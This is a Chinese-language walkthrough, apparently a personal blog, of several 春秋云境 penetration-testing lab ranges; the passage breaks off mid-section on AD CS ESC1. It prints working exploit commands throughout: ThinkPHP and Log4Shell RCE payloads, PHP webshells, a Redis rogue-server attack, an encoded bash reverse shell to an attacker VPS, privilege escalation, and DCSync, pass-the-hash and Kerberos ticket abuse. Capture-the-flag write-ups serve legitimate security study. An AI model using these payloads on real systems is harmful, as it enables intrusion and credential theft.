前言:
以前就想学习一下渗透了,借着寒假空闲且要准备国赛打打春秋云境的靶场学习学习。(更新中)
专业徽章
Initial
工具准备:thinkphpGUI、fscan、suo5、Proxifier、msf、proxychains
知识点:thinkphp5.0.23RCE、信呼oa、内网ms17010、域渗透DCSync
靶场介绍:Initial是一套难度为简单的靶场环境,完成该挑战可以帮助玩家初步认识内网渗透的简单流程。该靶场只有一个flag,各部分位于不同的机器上。
外网
进入后发现一个登录界面
弱口令登录看看不行,用dirsearch扫描扫出一个robots.txt
也并没有什么用
看网页的标签可以很明显的发现是一个thinkphp框架,用thinkphpGUI扫描一下发现有个ThinkPHP 5.0.23 RCE
直接getshell
用蚁剑连接,但是进去后并没有flag
进入终端发现是www-data用户,尝试提权
使用sudo -l
查看可以使用的命令
sudo -l
:用于列出当前用户可以使用sudo
命令执行的所有命令。有助于了解用户的权限和可以执行的操作
可以发现可以用root的身份无密码执行mysql命令,那么接下来就是利用mysql来提权。
1 | sudo mysql -e '\! whoami' |
查看一下root目录没想到直接就看到flag目录了,继续查看最后得到flag的第一个部分。
1 | flag01: flag{60b53231- |
看了一下师兄wp的思路,也可以在/var/www/.bash_history
看到历史命令然后直接mysql提权得到flag(还是比较快的)
外网找完了继续打内网
内网
先进行内网的信息搜集
ifconfig
发现存在局域网
检查是否出网
可以出网,那么开始上传fscan(这边重置了一下靶场,ip变更)
检查系统框架
1 | uname -m |
找到对应的fscan,直接将fscan拖到/var/www/html
并赋权就可以开始扫描内网了 。
1 | chmod 777 fscan |
这边有个疑问就是为什么用以下的方法没办法上传fscan(都是用curl ipinfo.io
测过可以出网的)
1 | //kali、ubuntu、云服务器 |
扫描完后到目录打开result.txt
查看
整理一下,如下
信呼oa
socks代理
先将内网代理到vps,利用的工具是suo5(也可以用chisel)
由于我的电脑不知道为什么运行GUI版本的有点问题所以直接用命令行
1 | suo5.exe -t http://39.98.114.28/suo5.php -l 127.0.0.1:1111 |
接下来代理到本地,利用的工具是proxifier
Profile-Proxy-Servers-Add
Profile-Proxification Rules-Add
然后就能访问到信呼oa了
接着用弱口令登录看看发现用户名是admin,但是密码不对
打开bp开始爆破密码,但是爆破发现他会有操作频繁的限制所以如果没在头几个就爆破出密码的话就不可能爆破出来
最后自己尝试admin123登录成功
登录后在网上可以找到相关的漏洞
法一:信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE
根据文章里的exp修改运行
1 | <?php @eval($_POST["1"]);?> |
1 | import requests |
用蚁剑连接,找到flag02
1 | flag02: 2ce3-4813-87d4- |
法二:手动上传文件 通读审计之信呼OA
在自己的服务器搭建一个上传的网站
1 | //index.html |
再将木马文件1.php上传,即可得到文件上传路径和id
1 | aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa |
生成php文件
1 | http://172.22.1.18/task.php?m=qcloudCos|runt&a=run&fileid=13 |
访问上传路径发现getshell成功了
法三:mysql写入日志
用dirsearch扫描网站目录
发现有个phpmyadmin,访问
用弱口令root/root直接就登录进去了
首先查看系统变量,通用查询日志是否开启
1 | SHOW VARIABLES LIKE 'general%'; |
发现是关闭的,那么将其设置为ON
1 | SET GLOBAL general_log = "ON" |
更改的查询日志文件的路径为自己木马文件的位置(在C:\phpStudy\PHPTutorial
找到一个可以写入文件的目录)
1 | SET GLOBAL general_log_file='C:\\phpStudy\\PHPTutorial\\www\\1.php' |
写入一句话木马
1 | select"<?php @eval($_POST[1]);?>"; |
用蚁剑连接然后找到flag02.txt
可以看到木马文件的内容
ms17-010
从上面的整理可知172.22.1.21
存在永恒之蓝
那么直接用msf来打
查看一下出不出网
可以发现是不出网的,那么就用正向来打
利用proxychains来代理(kali)
1 | vim /etc/proxychains4.conf |
suo5代理到vps(服务器端)
1 | ./suo5 -t http://39.99.133.101/suo5.php -l 0.0.0.0:4444 |
配置好后开始打永痕之蓝进行横向(但是不知道是不是流量太大的问题拿不到shell)
横向移动:在内网渗透中,当攻击者获取到内网某台机器的控制权后,会以被攻陷的主机为跳板,通过收集域内凭证等各种方法,访问域内其他机器,进一步扩大资产范围。
1 | proxychains msfconsole |
这边不知道是不是流量过大没拿下shell,那么继续横向还有172.22.1.2
存在DCSync
DCSync攻击
DCSync攻击:AD域渗透中常用的凭据窃取手段。默认情况下,域内不同DC每隔15分钟会进行一次数据同步,当一个域控制器(DC 1)想从其他域控制器(DC 2)同步数据时,发起请求的一方会通过目录复制协议(MS- DRSR)来对另外一台域控中的域用户密码进行复制。DCSync就是利用这个原理,“模拟”DC向真实DC发送数据同步请求,获取用户凭据数据
DCSync 攻击前提:
默认情况下,必须获得以下任一用户的权限:
- Administrators 组内的用户
- Domain Admins 组内的用户
- Enterprise Admins 组内的用户域控制器的计算机帐户
开始传递哈希
加载Kiwi扩展(也可以用Mimikatz)
1 | load kiwi |
1 | kiwi_cmd lsadump::dcsync /domain:xiaorang.lab /all /csv |
1 | proxychains crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt" |
1 | flag03: e8f88d0d43d6} |
总结:
Brute4Road
工具准备:redis-rogue-server、cdk、fscan、vemon或gost、proxifier、proxychains、wpscan、SNETCracker、mdut或navicat、SweetPotato、BloodHound、SharpHound、mimikatz、Rubeus
知识点:Redis主从复制rce、wordpress未授权rce、mssql数据库提权、约束委派攻击
靶场介绍:Brute4Road是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。
外网
信息搜集
题目给了ip,先ping一下
该ip为公网
**
用nmap半开放扫一下端口,有个80端口但是访问后就是一个站点没什么漏洞
用工具扫一下漏洞以下有两种方式(注意:因为网络问题我在这里扫了半天扫不出漏洞)
法一:nmap
1 | nmap -p 21,22,80,443,8080,6379,3306,5432,5000,8081,9000,27017,27018 -sCV -oN nmap_detailed_scan_Jay17.txt 39.99.253.89 |
法二:fscan
1 | fscan.exe -h 39.99.253.89 |
可以发现扫出来一个ftp匿名访问和Redis未授权
但是ftp匿名访问只有一个空的pub目录没什么好看的,重点打一下这个Redis未授权
Redis未授权
可以看到nmap扫出来的结果,Redis的版本为5.0.12
如果用fscan扫的话没有版本信息,可以下一个redis-cli然后通过redis-cli -h 39.99.253.89 -p 6379
连接,用命令INFO server
查看版本信息
版本小于5.0.5
,存在Redis主从复制RCE
法一:利用redis-rogue-server来getshell
1 | python3 redis-rogue-server.py --rhost 39.99.253.89 --lhost <your_vps> --lport 7777 |
1 | nc -lvvp 7777 |
但是我们可以发现反弹回来的并不是tty(终端),我们创建一个pty(伪终端)(这题影响不大,但是有时候不是tty会有影响)
1 | python -c 'import pty; pty.spawn("/bin/bash")' |
法二:利用msf来getshell
1 | use exploit/linux/redis/redis_replication_cmd_exec |
得到meterpreter之后执行shell即可。(这里重置了一次靶场,我redis崩了之后就连不上了,要一次操作好)
找flag的位置,在home目录里面直接就找到了
1 | find /home -name "flag" |
进入到flag目录里发现有个flag01但是权限不够没办法查看,需要提权
提权
查找具备suid权限的命令
1 | find / -user root -perm -4000 -print 2>/dev/null |
利用 base64进行suid提权(由于我们不知道密码所以没法用sudo和su来提权,base64提权只能读取文件在这里比较方便)
1 | base64 "/home/redis/flag/flag01" | base64 --decode |
1 | flag01:flag{86aa08c2-50f5-49af-8229-ea5446d7c6fd} |
内网
信息搜集
上传fscan(这里上传只用vps成功了,在kali和ubuntu启web服务都传不过去之前也是)
1 | //进入到临时文件存放目录 |
查看一下网络,但是没有ifconfig,以下有两种方式
法一:上传cdk
同上面一样的上传方法
1 | chmod 777 cdk |
法二:netstat -ano
该命令本意是查看端口开放情况,这里用来获取所在网段
赋权fscan,开始扫描
1 | chmod 777 fscan |
1 | //result.txt |
整理一下
内网穿透
法一:正向连接(推荐)
传gost
1 | wget -t 2 http://<your_vps_ip>:2201/gost |
赋权并开始代理
1 | chmod 777 gost |
配置proxifier
添加代理服务器(注意要开放vps的1080端口)
添加规则
配置proxychains(后面有用)
法二:反向连接
frp代理需要改配置有点麻烦且有点不稳定,这里就直接用vemon来代理(虽然也很不稳定)
上传vemon
1 | wget -t 2 http://<your_vps_ip>:2201/Venom/agent_linux_x64 |
vemon配置(只能socks5代理)
1 | //赋权 |
配置proxychains
1 | vim /etc/proxychains4.conf |
配置proxifier
添加代理服务器(注意要开放vps的1080端口)
添加规则
测试
可以访问172.22.2.18
了
内网渗透
wordpress未授权RCE
用wpscan(kali自带)扫描172.22.2.18
(这里我的云服务器崩了,又得从头弄艹)
1 | proxychains wpscan --url http://172.22.2.18 |
发现有一个wpcargo插件
运行脚本
1 | import sys |
访问webshell.php?1=system
连接蚁剑(注意要改连接类型)
但是进去后发现终端打不开,翻了好久也没找到flag,但是可以看到网站的配置文件/var/www/html/wp-config.php
中有数据库用户和密码。(这里网断了,又重置了一回靶场)
用蚁剑检测一下数据库类型为mysql
用蚁剑连接数据库
进入后直接就能看到flag
1 | flag02:flag{c757e423-eb44-459c-9c63-7625009910d8} |
MSSQLSERVER
之前用fscan扫出来的172.22.2.16
,尝试连接一下数据库但是没有密码
上面的mysql数据库中有一个表叫做S0meth1ng_y0u_m1ght_1ntereSted
里面有一列密码,应该就是我们需要的mssql数据库的密码字典。(注意要修改范围)
将其导出并将表格里的密码复制到txt文件中。开始爆破密码
爆密码有两种方式
法一:SNETCracker
法二:fscan
1 | fscan.exe -h 172.22.2.16 -m mssql -pwdf 1.txt |
用户名为默认的:sa 密码为:ElGNkOiC
连接数据库两种方式
法一:navicat(不推荐)
但是navicat连上数据库后不能直接getshell
1 | //查看有没有xp_cmdshell服务 |
很不方便
法二:mdut(推荐)
不知道是不是java环境的问题有时候会报错,重新下一个就行
连接成功后激活所有组件,将编码改为GBK就可以执行命令了
可以看到当前的用户是mssqlserver权限太低了,所以我们需要提权到system
利用甜土豆来提权
上传甜土豆到public目录
执行命令
1 | C:/Users/Public/SweetPotato.exe -a "whoami" |
可以看到已经提权成功了
创建一个新用户TG1u,密码为:g123456@
1 | C:/Users/Public/SweetPotato.exe -a "net user TG1u g123456@ /add" |
将用户TG1u加到管理组,赋予最高权限
1 | C:/Users/Public/SweetPotato.exe -a "net localgroup administrators TG1u /add" |
具备管理员后远程桌面连接
连接上后,在C:\Users\Administrator\flag
找到flaag03
1 | flag03:flag{47b8fece-1402-46fa-ae68-d956b1ee3a8e} |
其实也可以直接读取到(主要是下面的操作用远程桌面会舒服点)
1 | C:/Users/Public/SweetPotato.exe -a "type C:\Users\Administrator\flag\flag03.txt" |
域渗透
域信息搜集(失败)
刚刚的远程桌面就可以派上用场了
直接命令执行systeminfo
查看当前域的环境
可以看到和172.22.2.34
处于同一个域中,那么就不用管172.22.2.34
,直接继续在172.22.2.16
打就可以了
分析一下域环境
这边直接在kali里使用neo4j和bloodhound
1 | apt install neo4j |
下完后进入neo4j控制台,默认端口:7474,默认用户名和密码:neo4j/neo4j
1 | neo4j console |
在kali浏览器中访问http://localhost:7474
,输入用户名和密码
进入后修改默认密码
这样就配置完成了,接下来用bloodhound连接一下neo4j
下载bloodhound,将下载完的包放入kali解压
进入目录启动
1 | unzip BloodHound-linux-x64.zip |
输入刚刚设置的密码,然后login
上传 SharpHound.exe或SharpHound.ps1工具到public目录,再在远程桌面中拖到桌面上,进行域环境搜集
1 | SharpHound.exe -c all |
利用system权限运行
1 | C:/Users/Public/SweetPotato.exe -a "C:/Users/Public/SharpHound.exe -c all" |
但是在这里我的SharpHound分析成功了但是没法生成.zip文件(不知道是什么问题),所以也就没法导入bloodhound来继续分析了。
约束委派攻击
域委派:简单来说就是当A访问服务B时,服务B拿着A用户的凭证去访问服务C
分类:
非约束委派攻击:攻击者拿到了一台配置了非约束委派的机器权限,可以诱导管理员来访问该机器,然后可以得到管理员的TGT,从而模拟管理员访问任意服务,相当于拿下了整个域环境。
约束委派攻击:服务用户只能获取某个用户(或主机)的服务的ST1而非TGT , 所以只能模拟用户访问特定的服务 ,但是如果能拿到约束委派用户(或主机)的密码或者Hash,就可以 伪造S4U的请求,伪装成服务用户以任意用户的权限申请访问指定服务的ST2 。
基于资源委派攻击
TGT(Ticket Granting Ticket):在计算机安全和身份验证(如Kerberos协议)中,这是一种用于用户身份验证的票证。用户在成功验证身份后,会收到TGT,然后用它来请求访问特定服务的票证,而不需要再次输入密码。
ST(Service Ticket):同样在Kerberos等身份验证系统中,TGT用于请求ST,ST则用于访问特定服务。用户通过TGT获取ST后,使用ST访问目标服务。
很明显我们这里要打的是约束委派攻击,我们通过RDP(远程桌面协议)进入目标计算机(此时可以被视为获得了第一个服务票据ST1)。可以通过mssql用户的Hash值得到mssql用户的TGT票据,从而伪造S4U请求(此时获取到了第二个服务票据ST2)。我们就可以以域管理员的权限访问到域里面域管理员的目录。
攻击流程清楚了那么下面就开始攻击
上传minikatz到public目录
在远程桌面里用管理员权限启动minikatz.exe
1 | privilege::debug |
1 | Username: MSSQLSERVER$ |
用Rubeus申请用户MSSQLSERVER的TGT票据
上传Rubeus.exe到public目录
在远程桌面的public目录打开终端运行
1 | .\Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:299022e98a5b862963a4397a23255288 /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap > 1.txt |
将这个票据的base64编码复制粘贴到下面,通过Rubeus的S4U2Self协议代表域管理员申请针对域控LDAP服务的票据并注入内存
1 | .\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:doIFmjCCBZagAwIBBaEDAgEWooIEqzCCBKdhggSjMIIEn6ADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMeGlhb3JhbmcubGFio4IEYzCCBF+gAwIBEqEDAgECooIEUQSCBE3UBosfs+Fgp4c7ROTIF9c8qS0PvJhamZWT+7IoLe2+4f+BJ3LJMsz3fbkEV3xN/EngeVqYI/xg6iCEGTL4IHWHZ+1P+icbfrLKKaTHrexzz4DO/167z9KOSMwi4kKd/HT0Hhn1v86Zo0kq4o/EvOV/eqMjM3N95xwFhHFQUMySqzdHBmfFdheKmOywo7be8L0kfpEz0fIjRbSvP/OpXt74nXvCFeyqBvgYgnw+aVN8qflApwS5r+3wTuYISnKYqtgugK0nOsb6GpW4ge4UcizMX9fQuTI3nGN5IRbuid7uxWeAdUoTvgav4dfeREINK4jC+R1LiR9dkqV+Rr1z1CUiYsIaVGBxkE4VKiB3s2EsrSR0OEvi3n5scB0sMkaMwEWtgRapq77JkWm3KBsoDnE/Cg21dS6cTLO4QHOs1HGfXVSbKWw1C2iCphS3aLc5jUQAz5SOjmwbJ2tbUjapw8UP5hvgoyWJ0JcWtAAQIJMVYsvGi8dC2OWjFwh+uDrpn2xx8YF6b/L5ek91RoYj+Dmmwx3wvq6d+/sLw6A94sU2ildHRcfcp8F8SUbJruJWHUFIp4QZnRlNS2KNjcrN6P/DQb0DUov/YLe2222vRiFCZbABhCmy5JpJQ+/Fn9zvmJ7SsmWitvxwuypmrR0JjnhKq0yM/x00EebcDcVyHKbQ45Cf2XzEEDhHUK/XXObCA1TsT8n78RMgh4EEq7JL1f86ZiT12CSlI60SB7UdokvmAIbbkzsXm9FuQ+AX9c75zDHhqa2LmGebTaVyJD5YmaizZQYjmfUJWseP/1094RwvVncoOy4zt4ujk3Sh/AdxwND6FYM3Vz1m0u7hthVPAwNZX7JAdKQcBjoo6kYQiKkGZ0wZIPZ9C7fz9sxnat5KtCtfHKyDEvCbDXdF8sMRlHecOhzYuLin5Hc21q1UU+y1+D2On+UN8uPSxFlF1gCVL+WU/qwCjazARwoObMegWSp6ulwHuBiHU092+O6lzxPUtDhGnz7i+MrrEQLCnp3HbX0MazuL2bZP//zbrNwjWW8cWq2EEpsi2mO+kwu5mclbdj+ZlnGKcFU5gIOnRVa4GAhsy0Npf5m7YMzM/jFwvkpXcd3rnTD7a1jsUQ8GFaT1HDf/orz+u1XxEMYWE3lAmvAfXmM5JnF7YojKaUGQYpKymExG+r+xQ0VWa9cwfZfRIUSeqzi1U+YcTWQk5te22l265OhPeTd1WcIycwuo9it/Nu971CANRU4S2L84X7+S6fVSpmUI9DOqyHNH28Lw4+9yxpKpscbHuPF9DypbLjt2eKpIQqpxYKr13WtxORw4Ng0IdE2tfPdvt6DMCPoq1sSPP407g93Ze9L5qjCUIRGoABlGFtkMepmkeo03et2ngsgIkguwvv9eLno34dDBrkm3RtAIYxgrtds80BqqswHrMtMOK2gXbIivtbcchbYDTvVhCmBJZYpFvRB0kKqjgdowgdegAwIBAKKBzwSBzH2ByTCBxqCBwzCBwDCBvaAbMBmgAwIBF6ESBBBisajzDWT9DHJ8LdL5picEoQ4bDFhJQU9SQU5HLkxBQqIZMBegAwIBAaEQMA4bDE1TU1FMU0VSVkVSJKMHAwUAQOEAAKURGA8yMDI1MDExNDIwMDAxN1qmERgPMjAyNTAxMTUwNjAwMTdapxEYDzIwMjUwMTIxMjAwMDE3WqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDHhpYW9yYW5nLmxhYg== |
查看域控C盘下\Users\Administrator
路径的文件结构
1 | dir \\DC.xiaorang.lab\C$\Users\Administrator |
发现有个flag目录,获取flag04.txt内容
1 | type \\DC.xiaorang.lab\C$\Users\Administrator\flag\flag04.txt |
1 | flag04:flag{be35cc01-4d55-4b59-a121-8549d8e89af7} |
后面有了域管理员权限后我们可以继续用mimikatz得到域管理员的哈希,通过WMI横向打域控可以渗透到172.22.2.3(但是好像没啥用flag已经找全了)
1 | proxychains impacket-wmiexec -hashes :<域管理员Hash> [email protected] |
总结:
Time
工具准备:fscan、rhino_gadget、gost、proxifier、kerbrute、GetNPUsers、hashcat、SharpHound和BloodHound、wmiexec
知识点:CVE-2021-34371、sql注入、AS_REP Roasting攻击、抓取自动登录密码、WMI横向
靶场介绍:Time是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。
外网
信息搜集
用nmap半开放扫一下端口没有什么有用的端口
直接用fscan扫漏
根据上一个靶场对neo4j的使用,我们可以知道这个7687端口是其默认端口。访问7474端口查看一下版本为4.0.6
CVE-2021-34371
虽然版本大于3.4.18,但是还是尝试一下nday:CVE-2021-34371(Neo4j <= 3.4.18)。
利用rhino_gadget弹shell
1 | //windows |
发现居然弹成功了存在nday,查看一下flag的位置(一般直接在home目录里找就行)
1 | find ./home -name "flag*" |
获取flag01.txt
1 | flag01:flag{e214c91e-037e-4461-9f21-ab19a35d63e7} |
内网
信息搜集
查看一下网段信息,存在局域网
上传fscan
1 | //vps |
用fscan扫描一下内网
1 | chmod 777 fscan |
整理一下
内网穿透
由于上一个靶场反向连接有点不稳定这里还是继续用正向连接就好
上传gost
1 | wget -t 2 http://<your_vps_ip>:2201/gost |
搭建socks5代理
1 | chmod 777 gost |
配置proxifier
添加服务
添加规则
测试
访问172.22.6.38
(上面fscan扫出端口了就不用nmap再扫一遍了)
配置proxychains(下面会用到)
1 | vim /etc/proxychains4.conf |
内网渗透
sql注入
访问172.22.6.38
是一个后台登录
尝试一下弱口令爆破没爆出来
尝试一下sql注入,用bp抓包复制到1.txt,用sqlmap扫看看(这里用kali里自带的sqlmap,也可以用windows的)
1 | proxychains sqlmap -r 1.txt --dbs |
可以发现存在sql注入,查看oa_db
数据库直接就拿到flag02了
1 | proxychains sqlmap -r 1.txt -D oa_db --dump |
1 | flag02:flag{b142f5ce-d9b8-4b73-9012-ad75175ba029} |
域渗透
sqlmap扫出来了一个还扫出来一个表,看到[email protected]
可能是域里面的用户。
sqlmap会自动将结果导入到一个csv文件中,我们将其移动到普通用户目录
1 | mv /root/.local/share/sqlmap/output/172.22.6.38/dump/oa_db/oa_users.csv /home/lin/ |
将csv文件导出,用python脚本提取出用户名信息放入到user.txt中
1 | import csv |
AS_REP Roasting攻击
AS_REP Roasting攻击:针对Kerberos认证协议的攻击技术,旨在获取用户的加密哈希值,从而进行离线暴力破解。
攻击方式:
- 攻击者识别出目标域中使用了 Kerberos 认证的用户。
- 攻击者发送一个特殊构造的 AS-REQ 请求,请求 AS-REP 响应而不提供用户的明文密码。
- 如果目标域中存在禁用预身份验证(Pre-Authentication)的用户(例如服务账户),Kerberos 将返回 AS-REP 响应,这个响应是加密的,但不需要提供用户密码。
- 攻击者收集这些 AS-REP 响应,并尝试对其进行离线破解,以获取用户的明文密码。
AS-REQ请求:
当某个域内用户试图访问域中的某个服务,于是输入用户名和密码,本机的Kerberos服务会向KDC(密钥分发中心,域控)的AS(认证服务)发送一个AS-REQ认证请求。
请求包中包含:请求的用户名、客户端主机名、加密类型和Authenticator(用户NTLM Hash加密的时间戳)以及些其他信息。
AS-REP回复:
- 当KDC(密钥分发中心,域控)接收到请求之后,通过AD(活动目录,用户数据库)查询得到该用户的密码Hash,用该密码Hash对请求包的Authenticator进行解密,如果解密成功,则证明请求者提供的密码正确,而且需要时间戳范围在五分钟内,且不是重放,于是预认证成功。KAS(增强 Kerberos 认证协议安全性的技术)成功认证对方的身份之后,发送响应包给客户端。
- 响应包中主要包括:krbtgt.用户的NTLM Hash加密后的TGT认购权证(即ticket这部分)和用户NTLM Hash加密的Login Session key(即最外层enc-part这部分)以及一些其他信息。
- Login Session Key的作用是用于确保客户端和KDC下阶段之间通信安全。
- TGT主要包含原始的Login Session Key、时间戳和PAC。PAC中包含用户的SID,用户所在的组等一些信息。
攻击条件:需要用户账号设置 “Do not require Kerberos preauthentication(不需要kerberos预身份验证) “ 。(该属性默认是没有勾选上的,需要特地设置但是正常一般不会勾选)
得到域用户名的字典之后,枚举出Kerberos认证的用户(减少字典的用户数量)
我们利用kerbrute进行域用户枚举(这里我在kali和windows中试了半天没成功所以直接将工具和user.txt上传到neo4j中直接运行就出来了)
1 | ./kerbrute userenum --dc 172.22.6.12 -d xiaorang.lab user.txt -t 10 |
得到了74个Kerberos 认证的用户,将结果复制到user111.txt
由于当前的本机不在域内,所以只能通过GetNPUsers来进行爆破
1 | proxychains python3 GetNPUsers.py -dc-ip 172.22.6.12 -usersfile user111.txt xiaorang.lab/ |
得到两个用户的AS-REP 响应,将其复制到user222.txt中。
将搜集到的AS-REP响应使用hashcat解密一下
1 | //解压一下rockyou.txt字典 |
获得账号和密码
1 | [email protected]/strawberry |
域环境分析
使用RDP连接172.22.6.25
登录看看
上传SharpHound.exe直接复制粘贴到远程桌面里就行
1 | SharpHound.exe -c all |
将zip导入到BloodHound中分析
1 | //启动neo4j |
查看最短到达域管理员的路径,发现是yuxuan用户
所以我们需要登录到yuxuan用户
抓Windows自动登录密码
查看一下当前的已登录用户的信息
1 | query user |
发现yuxuan已经自动登录了
自动登录:用户与计算机进行会话时,凭据会保留在内存中。
说明yuxuan这个用户登录过WIN2019并且将将计算机设置自动登录,直接获取这个凭据
1 | reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" |
得到密码
1 | Yuxuan7QbrgZ3L |
重新连接RDP登录Yuxuan用户
SID历史功能滥用
回到上面分许域的结果可以发现有一个HasSIDHistory属性
HasSIDHistory属性:允许用户和组在迁移到新域后继续访问旧域中的资源,也就是相当于拥有旧域的权限
所以yuxuan用户其实拥有域管理员的权限,直接上传mimikatz获取域管理员的哈希。
1 | lsadump::dcsync /domain:xiaorang.lab /all /csv |
得到域管理员的哈希
1 | 04d93ffd6f5f6e4490e0de23f240a5e9 |
有了域管理员的哈希,其实就已经可以控制整个域了
WMI横向
直接利用impacket套件里的wmiexec进行横向(也可以用wmiexec.py脚本,一样的用法)
1 | proxychains impacket-wmiexec XIAORANG/[email protected] -hashes :04d93ffd6f5f6e4490e0de23f240a5e9 |
获取flag(flag一般放在C:\Users\Administrator\flag)
1 | type C:\Users\Administrator\flag\flag* |
1 | flag03:flag{dd7fcb0c-b3ff-4e6c-b0a4-0623f06be8e7} |
总结:
Certify
工具准备:fscan、JNDIExploit或JNDI-Injection-Exploit-1.0-SNAPSHOT-all、gost、proxifier、proxychains、hydra、GetUserSPN、scertipy-ad、wmiexec
知识点:CVE-2021-44228、SMB未授权访问、密码喷洒、Kerberoast攻击、SPN、ESC1、PTH
靶场介绍:Certify是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。
外网
信息搜集
nmap半开放扫一下端口
1 | nmap -Pn -sT 39.98.123.248 |
有个web服务但是访问就是个站点啥也没有
直接用fscan扫一下
发现扫出来一个8993端口,是一个solr平台
CVE-2021-44228
访问查看一下配置项,发现有个log4j2。那么就可能存在CVE-2021-44228
测试一下DNSlog
在DNSlog平台请求一个dns域名,由于dnslog.cn打不开了所以这里用了别的平台dig.pm
访问下面的payload
1 | http://39.98.123.248:8983/solr/admin/cores?action=${jndi:ldap://abd8a84e8c.ipv6.1433.eu.org} |
再回到平台获取结果
在平台可以取到结果说明存在CVE-2021-44228
下面反弹shell有两种打法(这里两种方法都没弹成功重置了一下靶场)
法一:JNDIExploit
在vps运行JNDIExploit开启服务
1 | cd JNDIExploit |
在vps里开启监听端口(注意vps要开全端口放行或者把java的所有端口放行,如果单开7777的话没法弹成功,试了半天了)
1 | nc -lvvp 7777 |
回到solr访问下面的payload
1 | /solr/admin/cores?action=${jndi:ldap://<vps_ip>:1389/Basic/ReverseShell/<vps_ip>/7777} |
法二:JNDI-Injection-Exploit-1.0-SNAPSHOT-all
在vps运行(一样这里也要开全端口放行不然也会弹失败)
1 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC88dnBzX2lwPi83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}" -A <vps_ip> |
回到solr访问下面的payload
1 | /solr/admin/cores?action=${jndi:ldap://38.12.42.163:1389/ceius2} |
弹成后查看一下当前用户
找一下flag,但是在home目录里面没找到,想找root目录的话权限不够,那么就提权一下再找
grc提权
查看一下能使用哪些命令提权
1 | sudo -l |
可以发现利用grc可以提权,查看flag位置
1 | sudo grc find ./root -name flag* |
获取flag
1 | sudo grc cat /root/flag/flag01.txt |
1 | flag01: flag{6d828252-1529-4bdc-aa2d-cad8c1efe053} |
内网
信息搜集
查看一下网段
存在局域网,上传fscan进行扫描
1 | //vps |
整理一下(这里不知道为什么扫不出来CA证书颁发服务器172.22.9.13
)
内网穿透
一样正向连接利用gost和proxifier做代理
上传gost并开启socks5代理
1 | chmod 777 gost |
配置proxifier
添加代理服务器
添加规则
测试
配置proxychains
1 | vim /etc/proxychains4.conf |
内网渗透
SMB未授权访问
用nmap扫一下172.22.9.47
1 | proxychains nmap -sT -Pn 172.22.9.47 |
但是还是只扫出了ftp,但是不存在匿名访问弱口令也没爆出来。所以也没法打。
上面端口发现445端口是开放的,再加上扫出来172.22.9.47
是一个fileserver,那么尝试一下SMB未授权访问
445-SMB (Server Message Block)
- 用途:文件和打印机共享
- 风险:未授权访问、中间人攻击
1 | proxychains impacket-smbclient 172.22.9.47 |
直接就连上了
1 | shares |
发现有个secret目录在里面发现flag02.txt
获取flag02
1 | cd secret |
1 | flag02: flag{d3a07399-9c1a-4910-afac-6b98b7d9ee11} |
域渗透
密码喷洒
并且我们可以发现flag02.txt里给了一个提示
1 | Yes, you have enumerated smb. But do you know what an SPN is? |
SPN 用于 Kerberos 身份验证,确保客户端能够正确地找到和验证服务。
可以猜测到应该是用于后面剩下两台资产的身份验证。
除此之外,在根目录还发现有一个数据库文件,我们将其导出到navicat查看
1 | get personnel.db |
在xr_members表中我们可以发现email列里面的内容可能是域里面的用户(跟上一套一样)
在xr_users表中可以发现有个password列可能是域用户的密码
将两个表导出为csv文件
将两个文件复制到txt文件中,进行一系列操作得到最后的user.txt(用户名)和pass.txt(密码)(user.txt可以用我上面那一套的脚本也可以直接用文本编辑器里的替换为空)
将两个txt文本导入到kali中利用hydra对172.22.9.26
进行rdp的密码喷洒
1 | proxychains hydra -L user.txt -P pass.txt 172.22.9.26 rdp -vV >result.txt |
可以得到两个有效的账户(这里我的hydra不知道什么问题扫出来很多个账号和密码但是都是不正确的,直接用了别人的结果)
1 | zhangjian:i9XDE02pLVf |
但是都无法连上rdp
SPN
既然密码喷洒没法登录rdp,那么换种方式
根据上面flag02的提示,我们可以利用用户的SPN来得到密码
查找下域用户下的spn
1 | proxychains -q impacket-GetUserSPNs -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian:i9XDE02pLVf |
将spn复制到user111.txt中,用hashcat解密一下
1 | hashcat -m 13100 -a 0 user111.txt /usr/share/wordlists/rockyou.txt --force |
得到两个用户和密码
1 | zhangxia:MyPass2@@6 |
现在再重新连接rdp就可以连接上了
但是上去后找不到flag且权限不够无法访问administrator目录,而且机子也不出网。
AD CS——ESC1
ESC1利用前提条件:
msPKI-Certificates-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT
表示基于此证书模板申请新证书的用户可以为其他用户申请证书,即任何用户,包括域管理员
PkiExtendedKeyUsage: Client Authentication
表示将基于此证书模板生成的证书可用于对 Active Directory 中的计算机进行身份验证
